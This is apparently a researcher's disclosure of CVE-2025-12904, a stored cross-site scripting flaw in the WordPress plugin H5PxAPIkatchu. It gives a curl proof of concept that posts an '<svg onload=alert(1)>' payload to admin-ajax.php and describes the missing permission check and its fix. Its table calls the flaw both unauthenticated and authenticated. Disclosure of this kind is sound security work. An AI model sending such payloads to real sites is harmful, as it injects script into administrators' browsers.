
Disclosure for CVE-2025-12904
Disclosure for CVE-2025-12904
This repository discloses a vulnerability discovered in SNORDIAN's H5PxAPIkatchu <= 0.4.16,WordPress plugin developed by otacke.
| CVE ID | Type | Component | Impact |
|---|---|---|---|
| CVE-2025-12904 | Unauthenticated Stored Cross-Site Scripting via insert_data | class-table-view.php | Authenticated attacker can execute JS |
curl -i -X POST 'http://localhost:8080/wp-admin/admin-ajax.php' \
--data-urlencode 'action=insert_data' \
--data-urlencode 'xapi={
"object":{"id":"http://localhost:8080/?id=2"},
"result":{"response":"<svg onload=alert(1)>"}
}'
※If the id within the object does not exist, it will fail.
The insert_data() function did not perform any permission checks, allowing malicious input to be saved without authentication. Furthermore, these entries were displayed unescaped on the administration interface.
insert_data() function uses current_user_can to prevent unauthorised execution.PoCを作成するのがとても大変だった。
--data-urlencode 'xapi={
"object":{"id":"http://localhost:8080/?id=2"},
"result":{"response":"<svg onload=alert(1)>"}
}'
この部分の再現にとても時間を使ってしまった。curlコマンドをもっと使いこなせるようになりたい。 あとこのプラグイン...色々と大丈夫?とくに、名前とか、さ。
Name: MooseLove
Role: Independent security researcher / bug hunter
Contact: Available upon request
This advisory is provided for public security awareness. Free to share with attribution.